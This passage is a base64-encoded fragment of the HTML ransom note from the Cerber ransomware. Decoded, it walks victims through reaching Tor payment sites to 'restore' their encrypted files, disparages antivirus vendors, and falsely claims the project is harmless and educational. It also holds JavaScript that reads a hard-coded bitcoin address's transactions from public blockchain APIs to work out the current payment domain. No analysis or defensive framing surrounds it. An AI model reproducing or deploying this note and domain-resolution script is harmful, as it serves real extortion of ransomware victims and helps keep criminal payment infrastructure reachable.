zR9L3tQQ19JRH08L2E+PC9saT4NCiAgICAgICAgIDxsaT48YSBocmVmPSJodHRwOi8ve1RPUn0ue1NJVEVfNX0ve1BDX0lEfSIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly97VE9SfS57U0lURV81fS97UENfSUR9PC9hPjwvbGk+DQogICAgICAgICA8L29sPg0KICAgICAgICAgPC9kaXY+DQogICAgICAgICA8aHI+DQogICAgICAgICA8aDM+V2hhdCBzaG91bGQgeW91IGRvIHdpdGggdGhlc2UgYWRkcmVzc2VzPzwvaDM+DQogICAgICAgICA8cD5JZiB5b3UgcmVhZCB0aGUgaW5zdHJ1Y3Rpb25zIGluIFRYVCBmb3JtYXQgKGlmIHlvdSBoYXZlIGluc3RydWN0aW9uIGluIEhUTUwgKHRoZSBmaWxlIHdpdGggYW4gaWNvbiBvZiB5b3VyIEludGVybmV0IGJyb3dzZXIpIHRoZW4gdGhlIGVhc2llc3Qgd2F5IGlzIHRvIHJ1biBpdCk6PC9wPg0KICAgICAgICAgPG9sPg0KICAgICAgICAgPGxpPnRha2UgYSBsb29rIGF0IHRoZSBmaXJzdCBhZGRyZXNzIChpbiB0aGlzIGNhc2UgaXQgaXMgPHNwYW4gY2xhc3M9InVwZF9vZmYiIGlkPSJ1cGRfMiI+UGxlYXNlIHdhaXQuLi48L3NwYW4+PGEgY2xhc3M9InVybCIgaHJlZj0iaHR0cDovL3tUT1J9LntTSVRFXzF9L3tQQ19JRH0iIGlkPSJ1cmxfMiIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly97VE9SfS57U0lURV8xfS97UENfSUR9PC9hPik7PC9saT4NCiAgICAgICAgIDxsaT5zZWxlY3QgaXQgd2l0aCB0aGUgbW91c2UgY3Vyc29yIGhvbGRpbmcgdGhlIGxlZnQgbW91c2UgYnV0dG9uIGFuZCBtb3ZpbmcgdGhlIGN1cnNvciB0byB0aGUgcmlnaHQ7PC9saT4NCiAgICAgICAgIDxsaT5yZWxlYXNlIHRoZSBsZWZ0IG1vdXNlIGJ1dHRvbiBhbmQgcHJlc3MgdGhlIHJpZ2h0IG9uZTs8L2xpPg0KICAgICAgICAgPGxpPnNlbGVjdCAiQ29weSIgaW4gdGhlIGFwcGVhcmVkIG1lbnU7PC9saT4NCiAgICAgICAgIDxsaT5ydW4geW91ciBJbnRlcm5ldCBicm93c2VyIChpZiB5b3UgZG8gbm90IGtub3cgd2hhdCBpdCBpcyBydW4gdGhlIEludGVybmV0IEV4cGxvcmVyKTs8L2xpPg0KICAgICAgICAgPGxpPm1vdmUgdGhlIG1vdXNlIGN1cnNvciB0byB0aGUgYWRkcmVzcyBiYXIgb2YgdGhlIGJyb3dzZXIgKHRoaXMgaXMgdGhlIHBsYWNlIHdoZXJlIHRoZSBzaXRlIGFkZHJlc3MgaXMgd3JpdHRlbik7PC9saT4NCiAgICAgICAgIDxsaT5jbGljayB0aGUgcmlnaHQgbW91c2UgYnV0dG9uIGluIHRoZSBmaWVsZCB3aGVyZSB0aGUgc2l0ZSBhZGRyZXNzIGlzIHdyaXR0ZW47PC9saT4NCiAgICAgICAgIDxsaT5zZWxlY3QgdGhlIGJ1dHRvbiAiSW5zZXJ0IiBpbiB0aGUgYXBwZWFyZWQgbWVudTs8L2xpPg0KICAgICAgICAgPGxpPnRoZW4geW91IHdpbGwgc2VlIHRoZSBhZGRyZXNzIDxzcGFuIGNsYXNzPSJ1cGRfb2ZmIiBpZD0idXBkXzMiPlBsZWFzZSB3YWl0Li4uPC9zcGFuPjxhIGNsYXNzPSJ1cmwiIGhyZWY9Imh0dHA6Ly97VE9SfS57U0lURV8xfS97UENfSUR9IiBpZD0idXJsXzMiIHRhcmdldD0iX2JsYW5rIj5odHRwOi8ve1RPUn0ue1NJVEVfMX0ve1BDX0lEfTwvYT4gYXBwZWFyZWQgdGhlcmU7PC9saT4NCiAgICAgICAgIDxsaT5wcmVzcyBFTlRFUjs8L2xpPg0KICAgICAgICAgPGxpPnRoZSBzaXRlIHNob3VsZCBiZSBsb2FkZWQ7IGlmIGl0IGlzIG5vdCBsb2FkZWQgcmVwZWF0IHRoZSBzYW1lIGluc3RydWN0aW9ucyB3aXRoIHRoZSBzZWNvbmQgYWRkcmVzcyBhbmQgY29udGludWUgdW50aWwgdGhlIGxhc3QgYWRkcmVzcyBpZiBmYWxsaW5nLjwvbGk+DQogICAgICAgICA8L29sPg0KICAgICAgICAgPHA+SWYgZm9yIHNvbWUgcmVhc29uIHRoZSBzaXRlIGNhbm5vdCBiZSBvcGVuZWQgY2hlY2sgdGhlIGNvbm5lY3Rpb24gdG8gdGhlIEludGVybmV0OyBpZiB0aGUgc2l0ZSBzdGlsbCBjYW5ub3QgYmUgb3BlbmVkIHRha2UgYSBsb29rIGF0IHRoZSBpbnN0cnVjdGlvbnMgb24gb21pdHRpbmcgdGhlIHBvaW50IGFib3V0IHdvcmtpbmcgd2l0aCB0aGUgYWRkcmVzc2VzIGluIHRoZSBIVE1MIGluc3RydWN0aW9ucy48L3A+DQogICAgICAgICA8cD5JZiB5b3UgYnJvd3NlIHRoZSBpbnN0cnVjdGlvbnMgaW4gSFRNTCBmb3JtYXQ6PC9wPg0KICAgICAgICAgPG9sPg0KICAgICAgICAgPGxpPmNsaWNrIHRoZSBsZWZ0IG1vdXNlIGJ1dHRvbiBvbiB0aGUgZmlyc3QgYWRkcmVzcyAoaW4gdGhpcyBjYXNlIGl0IGlzIDxzcGFuIGNsYXNzPSJ1cGRfb2ZmIiBpZD0idXBkXzQiPlBsZWFzZSB3YWl0Li4uPC9zcGFuPjxhIGNsYXNzPSJ1cmwiIGhyZWY9Imh0dHA6Ly97VE9SfS57U0lURV8xfS97UENfSUR9IiBpZD0idXJsXzQiIHRhcmdldD0iX2JsYW5rIj5odHRwOi8ve1RPUn0ue1NJVEVfMX0ve1BDX0lEfTwvYT4pOzwvbGk+DQogICAgICAgICA8bGk+aW4gYSBuZXcgdGFiIG9yIHdpbmRvdyBvZiB5b3VyIHdlYiBicm93c2VyIHRoZSBzaXRlIHNob3VsZCBiZSBsb2FkZWQ7IGlmIGl0IGlzIG5vdCBsb2FkZWQgcmVwZWF0IHRoZSBzYW1lIGluc3RydWN0aW9ucyB3aXRoIHRoZSBzZWNvbmQgYWRkcmVzcyBhbmQgY29udGludWUgdW50aWwgdGhlIGxhc3QgYWRkcmVzcy48L2xpPg0KICAgICAgICAgPC9vbD4NCiAgICAgICAgIDxwPklmIGZvciBzb21lIHJlYXNvbiB0aGUgc2l0ZSBjYW5ub3QgYmUgb3BlbmVkIGNoZWNrIHRoZSBjb25uZWN0aW9uIHRvIHRoZSBJbnRlcm5ldC48L3A+DQogICAgICAgICA8aHI+DQogICAgICAgICA8cD5VbmZvcnR1bmF0ZWx5IHRoZXNlIHNpdGVzIGFyZSBzaG9ydC10ZXJtIHNpbmNlIHRoZSBhbnRpdmlydXMgY29tcGFuaWVzIGFyZSBpbnRlcmVzdGVkIGluIHlvdSBkbyBub3QgaGF2ZSBhIGNoYW5jZSB0byByZXN0b3JlIHlvdXIgZmlsZXMgYnV0IGNvbnRpbnVlIHRvIGJ1eSB0aGVpciBwcm9kdWN0cy48L3A+DQogICAgICAgICA8cD5Vbmxpa2UgdGhlbSB3ZSBhcmUgcmVhZHkgdG8gaGVscCB5b3UgYWx3YXlzLjwvcD4NCiAgICAgICAgIDxwPklmIHlvdSBuZWVkIG91ciBoZWxwIGJ1dCB0aGUgdGVtcG9yYXJ5IHNpdGVzIGFyZSBub3QgYXZhaWxhYmxlOjwvcD4NCiAgICAgICAgIDxvbD4NCiAgICAgICAgIDxsaT5ydW4geW91ciBJbnRlcm5ldCBicm93c2VyIChpZiB5b3UgZG8gbm90IGtub3cgd2hhdCBpdCBpcyBydW4gdGhlIEludGVybmV0IEV4cGxvcmVyKTs8L2xpPg0KICAgICAgICAgPGxpPmVudGVyIG9yIGNvcHkgdGhlIGFkZHJlc3MgPGEgaHJlZj0iaHR0cHM6Ly93d3cudG9ycHJvamVjdC5vcmcvZG93bmxvYWQvZG93bmxvYWQtZWFzeS5odG1sLmVuIiB0YXJnZXQ9Il9ibGFuayI+aHR0cHM6Ly93d3cudG9ycHJvamVjdC5vcmcvZG93bmxvYWQvZG93bmxvYWQtZWFzeS5odG1sLmVuPC9hPiBpbnRvIHRoZSBhZGRyZXNzIGJhciBvZiB5b3VyIGJyb3dzZXIgYW5kIHByZXNzIEVOVEVSOzwvbGk+DQogICAgICAgICA8bGk+d2FpdCBmb3IgdGhlIHNpdGUgbG9hZGluZzs8L2xpPg0KICAgICAgICAgPGxpPm9uIHRoZSBzaXRlIHlvdSB3aWxsIGJlIG9mZmVyZWQgdG8gZG93bmxvYWQgVG9yIEJyb3dzZXI7IGRvd25sb2FkIGFuZCBydW4gaXQsIGZvbGxvdyB0aGUgaW5zdGFsbGF0aW9uIGluc3RydWN0aW9ucywgd2FpdCB1bnRpbCB0aGUgaW5zdGFsbGF0aW9uIGlzIGNvbXBsZXRlZDs8L2xpPg0KICAgICAgICAgPGxpPnJ1biBUb3IgQnJvd3Nlcjs8L2xpPg0KICAgICAgICAgPGxpPmNvbm5lY3Qgd2l0aCB0aGUgYnV0dG9uICJDb25uZWN0IiAoaWYgeW91IHVzZSB0aGUgRW5nbGlzaCB2ZXJzaW9uKTs8L2xpPg0KICAgICAgICAgPGxpPmEgbm9ybWFsIEludGVybmV0IGJyb3dzZXIgd2luZG93IHdpbGwgYmUgb3BlbmVkIGFmdGVyIHRoZSBpbml0aWFsaXphdGlvbjs8L2xpPg0KICAgICAgICAgPGxpPnR5cGUgb3IgY29weSB0aGUgYWRkcmVzcyA8c3BhbiBjbGFzcz0idG9yIj5odHRwOi8ve1RPUn0ub25pb24ve1BDX0lEfTwvc3Bhbj4gaW4gdGhpcyBicm93c2VyIGFkZHJlc3MgYmFyOzwvbGk+DQogICAgICAgICA8bGk+cHJlc3MgRU5URVI7PC9saT4NCiAgICAgICAgIDxsaT50aGUgc2l0ZSBzaG91bGQgYmUgbG9hZGVkOyBpZiBmb3Igc29tZSByZWFzb24gdGhlIHNpdGUgaXMgbm90IGxvYWRpbmcgd2FpdCBmb3IgYSBtb21lbnQgYW5kIHRyeSBhZ2Fpbi48L2xpPg0KICAgICAgICAgPC9vbD4NCiAgICAgICAgIDxwPklmIHlvdSBoYXZlIGFueSBwcm9ibGVtcyBkdXJpbmcgaW5zdGFsbGF0aW9uIG9yIG9wZXJhdGlvbiBvZiBUb3IgQnJvd3NlciwgcGxlYXNlLCB2aXNpdCA8YSBocmVmPSJodHRwczovL3d3dy55b3V0dWJlLmNvbS9yZXN1bHRzP3NlYXJjaF9xdWVyeT1pbnN0YWxsK3Rvciticm93c2VyK3dpbmRvd3MiIHRhcmdldD0iX2JsYW5rIj5odHRwczovL3d3dy55b3V0dWJlLmNvbS88L2E+IGFuZCB0eXBlIHJlcXVlc3QgaW4gdGhlIHNlYXJjaCBiYXIgImluc3RhbGwgdG9yIGJyb3dzZXIgd2luZG93cyIgYW5kIHlvdSB3aWxsIGZpbmQgYSBsb3Qgb2YgdHJhaW5pbmcgdmlkZW9zIGFib3V0IFRvciBCcm93c2VyIGluc3RhbGxhdGlvbiBhbmQgb3BlcmF0aW9uLjwvcD4NCiAgICAgICAgIDxwPklmIFRPUiBhZGRyZXNzIGlzIG5vdCBhdmFpbGFibGUgZm9yIGEgbG9uZyBwZXJpb2QgKDItMyBkYXlzKSBpdCBtZWFucyB5b3UgYXJlIGxhdGU7IHVzdWFsbHkgeW91IGhhdmUgYWJvdXQgMi0zIHdlZWtzIGFmdGVyIHJlYWRpbmcgdGhlIGluc3RydWN0aW9ucyB0byByZXN0b3JlIHlvdXIgZmlsZXMuPC9wPg0KICAgICAgICAgPGhyPg0KICAgICAgICAgPGgzPkFkZGl0aW9uYWwgaW5mb3JtYXRpb246PC9oMz4NCiAgICAgICAgIDxwPllvdSB3aWxsIGZpbmQgdGhlIGluc3RydWN0aW9ucyBmb3IgcmVzdG9yaW5nIHlvdXIgZmlsZXMgaW4gdGhvc2UgZm9sZGVycyB3aGVyZSB5b3UgaGF2ZSB5b3VyIGVuY3J5cHRlZCBmaWxlcyBvbmx5LjwvcD4NCiAgICAgICAgIDxwPlRoZSBpbnN0cnVjdGlvbnMgYXJlIG1hZGUgaW4gdHdvIGZpbGUgZm9ybWF0cyAtIEhUTUwgYW5kIFRYVCBmb3IgeW91ciBjb252ZW5pZW5jZS48L3A+DQogICAgICAgICA8cD5VbmZvcnR1bmF0ZWx5IGFudGl2aXJ1cyBjb21wYW5pZXMgY2Fubm90IHByb3RlY3Qgb3IgcmVzdG9yZSB5b3VyIGZpbGVzIGJ1dCB0aGV5IGNhbiBtYWtlIHRoZSBzaXR1YXRpb24gd29yc2UgcmVtb3ZpbmcgdGhlIGluc3RydWN0aW9ucyBob3cgdG8gcmVzdG9yZSB5b3VyIGVuY3J5cHRlZCBmaWxlcy48L3A+DQogICAgICAgICA8cD5UaGUgaW5zdHJ1Y3Rpb25zIGFyZSBub3QgdmlydXNlczsgdGhleSBoYXZlIGluZm9ybWF0aXZlIG5hdHVyZSBvbmx5LCBzbyBhbnkgY2xhaW1zIG9uIHRoZSBhYnNlbmNlIG9mIGFueSBpbnN0cnVjdGlvbiBmaWxlcyB5b3UgY2FuIHNlbmQgdG8geW91ciBhbnRpdmlydXMgY29tcGFueS48L3A+DQogICAgICAgICA8aHI+DQogICAgICAgICA8cD5DZXJiZXIgUmFuc29td2FyZSBQcm9qZWN0IGlzIG5vdCBtYWxpY2lvdXMgYW5kIGlzIG5vdCBpbnRlbmRlZCB0byBoYXJtIGEgcGVyc29uIGFuZCBoaXMvaGVyIGluZm9ybWF0aW9uIGRhdGEuPC9wPg0KICAgICAgICAgPHA+VGhlIHByb2plY3QgaXMgY3JlYXRlZCBmb3IgdGhlIHNvbGUgcHVycG9zZSBvZiBpbnN0cnVjdGlvbiByZWdhcmRpbmcgaW5mb3JtYXRpb24gc2VjdXJpdHksIGFzIHdlbGwgYXMgY2VydGlmaWNhdGlvbiBvZiBhbnRpdmlydXMgc29mdHdhcmUgZm9yIHRoZWlyIHN1aXRhYmlsaXR5IGZvciBkYXRhIHByb3RlY3Rpb24uPC9wPg0KICAgICAgICAgPHA+VG9nZXRoZXIgd2UgbWFrZSB0aGUgSW50ZXJuZXQgYSBiZXR0ZXIgYW5kIHNhZmVyIHBsYWNlLjwvcD4NCiAgICAgICAgIDxocj4NCiAgICAgICAgIDxwPklmIHlvdSBsb29rIHRocm91Z2ggdGhpcyB0ZXh0IGluIHRoZSBJbnRlcm5ldCBhbmQgcmVhbGl6ZSB0aGF0IHNvbWV0aGluZyBpcyB3cm9uZyB3aXRoIHlvdXIgZmlsZXMgYnV0IHlvdSBkbyBub3QgaGF2ZSBhbnkgaW5zdHJ1Y3Rpb25zIHRvIHJlc3RvcmUgeW91ciBmaWxlcywgcGxlYXNlLCBjb250YWN0IHlvdXIgYW50aXZpcnVzIHN1cHBvcnQuPC9wPg0KICAgICAgICAgPGhyPg0KICAgICAgICAgPHA+UmVtZW1iZXIgdGhhdCB0aGUgd29yc3Qgc2l0dWF0aW9uIGFscmVhZHkgaGFwcGVuZWQgYW5kIG5vdyBpdCBkZXBlbmRzIG9uIHlvdXIgZGV0ZXJtaW5hdGlvbiBhbmQgc3BlZWQgb2YgeW91ciBhY3Rpb25zIHRoZSBmdXJ0aGVyIGxpZmUgb2YgeW91ciBmaWxlcy48L3A+DQogICAgICA8L2Rpdj4NCiAgICAgIDxzY3JpcHQ+DQogICAgICBmdW5jdGlvbiBnZXRYTUxIdHRwUmVxdWVzdCgpIHsNCiAgICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpIHsNCiAgICAgICAgICAgIHJldHVybiBuZXcgd2luZG93LlhNTEh0dHBSZXF1ZXN0Ow0KICAgICAgICAgfQ0KICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBBY3RpdmVYT2JqZWN0KCJNU1hNTDIuWE1MSFRUUC4zLjAiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNhdGNoKGVycm9yKSB7DQogICAgICAgICAgICAgICByZXR1cm4gbnVsbDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGZ1bmN0aW9uIGdldFVybENvbnRlbnQodXJsLCBjYWxsYmFjaykgew0KICAgICAgICAgdmFyIHhodHRwID0gZ2V0WE1MSHR0cFJlcXVlc3QoKTsNCiAgICAgICAgIGlmICh4aHR0cCkgew0KICAgICAgICAgICAgeGh0dHAub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICBpZiAoeGh0dHAucmVhZHlTdGF0ZSA9PSA0KSB7DQogICAgICAgICAgICAgICAgICBpZiAoeGh0dHAuc3RhdHVzID09IDIwMCkgew0KICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGNhbGxiYWNrKHhodHRwLnJlc3BvbnNlVGV4dC5yZXBsYWNlKC9bXHMgXSsvZ20sICIiKSwgbnVsbCk7DQogICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgIHJldHVybiBjYWxsYmFjayhudWxsLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH07DQogICAgICAgICAgICB4aHR0cC5vcGVuKCJHRVQiLCB1cmwgKyAnP189JyArIG5ldyBEYXRlKCkuZ2V0VGltZSgpLCB0cnVlKTsNCiAgICAgICAgICAgIHhodHRwLnNlbmQoKTsNCiAgICAgICAgIH0NCiAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuIGNhbGxiYWNrKG51bGwsIHRydWUpOw0KICAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgZnVuY3Rpb24gc2VydmVyMShhZGRyZXNzLCBjYWxsYmFjaykgew0KICAgICAgICAgZ2V0VXJsQ29udGVudCgiaHR0cDovL2J0Yy5ibG9ja3IuaW8vYXBpL3YxL2FkZHJlc3MvdHhzLyIgKyBhZGRyZXNzLCBmdW5jdGlvbihyZXN1bHQsIGVycm9yKSB7DQogICAgICAgICAgICBpZiAoIWVycm9yKSB7DQogICAgICAgICAgICAgICB2YXIgdHggPSAvInR4IjoiKFtcd10rKSIsInRpbWVfdXRjIjoiW1x3LTpdKyIsImNvbmZpcm1hdGlvbnMiOltcZF0rLCJhbW91bnQiOi0vLmV4ZWMocmVzdWx0KTsNCiAgICAgICAgICAgICAgIGlmICh0eCkgew0KICAgICAgICAgICAgICAgICAgZ2V0VXJsQ29udGVudCgiaHR0cDovL2J0Yy5ibG9ja3IuaW8vYXBpL3YxL3R4L2luZm8vIiArIHR4WzFdLCBmdW5jdGlvbihyZXN1bHQsIGVycm9yKSB7DQogICAgICAgICAgICAgICAgICAgICBpZiAoIWVycm9yKSB7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgYWRkcmVzcyA9IC8idm91dHMiOlxbeyJhZGRyZXNzIjoiKFtcd10rKSIvLmV4ZWMocmVzdWx0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChhZGRyZXNzKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gY2FsbGJhY2soYWRkcmVzc1sxXSwgbnVsbCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBjYWxsYmFjayhudWxsLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGNhbGxiYWNrKG51bGwsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgIHJldHVybiBjYWxsYmFjayhudWxsLCB0cnVlKTsNCiAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgcmV0dXJuIGNhbGxiYWNrKG51bGwsIHRydWUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgfSk7DQogICAgICB9DQogICAgICBmdW5jdGlvbiBzZXJ2ZXIyKGFkZHJlc3MsIGNhbGxiYWNrKSB7DQogICAgICAgICBnZXRVcmxDb250ZW50KCJodHRwOi8vYXBpLmJsb2NrY3lwaGVyLmNvbS92MS9idGMvbWFpbi9hZGRycy8iICsgYWRkcmVzcywgZnVuY3Rpb24ocmVzdWx0LCBlcnJvcikgew0KICAgICAgICAgICAgaWYgKCFlcnJvcikgew0KICAgICAgICAgICAgICAgdmFyIHR4ID0gLyJ0eF9oYXNoIjoiKFtcd10rKSIsImJsb2NrX2hlaWdodCI6W1xkXSssInR4X2lucHV0X24iOltcZC1dKywidHhfb3V0cHV0X24iOi0vLmV4ZWMocmVzdWx0KTsNCiAgICAgICAgICAgICAgIGlmICh0eCkgew0KICAgICAgICAgICAgICAgICAgZ2V0VXJsQ29udGVudCgiaHR0cDovL2FwaS5ibG9ja2N5cGhlci5jb20vdjEvYnRjL21haW4vdHhzLyIgKyB0eFsxXSwgZnVuY3Rpb24ocmVzdWx0LCBlcnJvcikgew0KICAgICAgICAgICAgICAgICAgICAgaWYgKCFlcnJvcikgew0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGFkZHJlc3MgPSAvIm91dHB1dHMiOlxbeyJ2YWx1ZSI6W1xkXSssInNjcmlwdCI6Iltcd10rIiwic3BlbnRfYnkiOiJbXHddKyIsImFkZHJlc3NlcyI6XFsiKFtcd10rKSIvLmV4ZWMocmVzdWx0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChhZGRyZXNzKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gY2FsbGJhY2soYWRkcmVzc1sxXSwgbnVsbCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBjYWxsYmFjayhudWxsLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGNhbGxiYWNrKG51bGwsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgIHJldHVybiBjYWxsYmFjayhudWxsLCB0cnVlKTsNCiAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgcmV0dXJuIGNhbGxiYWNrKG51bGwsIHRydWUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgfSk7DQogICAgICB9DQogICAgICBmdW5jdGlvbiBzZXJ2ZXIzKGFkZHJlc3MsIGNhbGxiYWNrKSB7DQogICAgICAgICBnZXRVcmxDb250ZW50KCJodHRwczovL2NoYWluLnNvL2FwaS92Mi9nZXRfdHhfc3BlbnQvYnRjLyIgKyBhZGRyZXNzLCBmdW5jdGlvbihyZXN1bHQsIGVycm9yKSB7DQogICAgICAgICAgICBpZiAoIWVycm9yKSB7DQogICAgICAgICAgICAgICB2YXIgdHhzID0gcmVzdWx0Lm1hdGNoKC8idHhpZCI6IihbXHddKykiL2cpOw0KICAgICAgICAgICAgICAgaWYgKHR4cykgew0KICAgICAgICAgICAgICAgICAgdmFyIHR4ID0gLyJ0eGlkIjoiKFtcd10rKSIvLmV4ZWModHhzLnBvcCgpKTsNCiAgICAgICAgICAgICAgICAgIGlmICh0eCkgew0KICAgICAgICAgICAgICAgICAgICAgZ2V0VXJsQ29udGVudCgiaHR0cHM6Ly9jaGFpbi5zby9hcGkvdjIvZ2V0X3R4X291dHB1dHMvYnRjLyIgKyB0eFsxXSwgZnVuY3Rpb24ocmVzdWx0LCBlcnJvcikgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlcnJvcikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGFkZHJlc3MgPSAvImFkZHJlc3MiOiIoW1x3XSspIi8uZXhlYyhyZXN1bHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGFkZHJlc3MpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBjYWxsYmFjayhhZGRyZXNzWzFdLCBudWxsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGNhbGxiYWNrKG51bGwsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gY2FsbGJhY2sobnVsbCwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGNhbGxiYWNrKG51bGwsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICByZXR1cm4gY2FsbGJhY2sobnVsbCwgdHJ1ZSk7DQogICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgIHJldHVybiBjYWxsYmFjayhudWxsLCB0cnVlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgIH0pOw0KICAgICAgfQ0KICAgICAgZnVuY3Rpb24gY2hhbmdlVXJsKGFkZHJlc3MpIHsNCiAgICAgICAgIHZhciBkb21haW4gPSAiLnRvcCI7DQogICAgICAgICB2YXIgaWQgPSAie1BDX0lEfSI7DQogICAgICAgICB2YXIgdG9yID0gInN2ZmV1Zmhlb2xydW5pZ2QiOw0KICAgICAgICAgdmFyIHVybCA9ICJodHRwOi8vIiArIHRvciArICIuIiArIGFkZHJlc3Muc3Vic3RyKDAsIDYpLnRvTG93ZXJDYXNlKCkgKyBkb21haW4gKyAiLyIgKyBpZDsNCiAgICAgICAgIGZvciAodmFyIGkgPSAxOyBpIDw9IDQ7IGkrKykgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybF8nICsgaSkuaHJlZiA9IHVybDsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cmxfJyArIGkpLmlubmVySFRNTCA9IHVybDsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cmxfJyArIGkpLnRhcmdldCA9ICJfYmxhbmsiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybF8nICsgaSkuc3R5bGUuZGlzcGxheSA9ICdpbmxpbmUnOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwZF8nICsgaSkuY2xhc3NOYW1lID0gJ3VwZF9vZmYnOw0KICAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgZnVuY3Rpb24gdXBkYXRlVXJsKCkgew0KICAgICAgICAgZm9yICh2YXIgaSA9IDE7IGkgPD0gNDsgaSsrKSB7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsXycgKyBpKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwZF8nICsgaSkuY2xhc3NOYW1lID0gJ3VwZF9vbic7DQogICAgICAgICB9DQogICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgdmFyIGFkZHJlc3MgPSAiMTdnZDFtc3A1Rm5NY0VNRjFNaXRUTlNzWXM3dzdBUXlDdCI7DQogICAgICAgICAgICBzZXJ2ZXIxKGFkZHJlc3MsIGZ1bmN0aW9uKHJlc3VsdCwgZXJyb3IpIHsNCiAgICAgICAgICAgICAgIGlmICghZXJyb3IpIHsNCiAgICAgICAgICAgICAgICAgIHJldHVybiBjaGFuZ2VVcmwocmVzdWx0KTsNCiAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgc2VydmVyMihhZGRyZXNzLCBmdW5jdGlvbihyZXN1bHQsIGVycm9yKSB7DQogICAgICAgICAgICAgICAgICAgICBpZiAoIWVycm9yKSB7DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gY2hhbmdlVXJsKH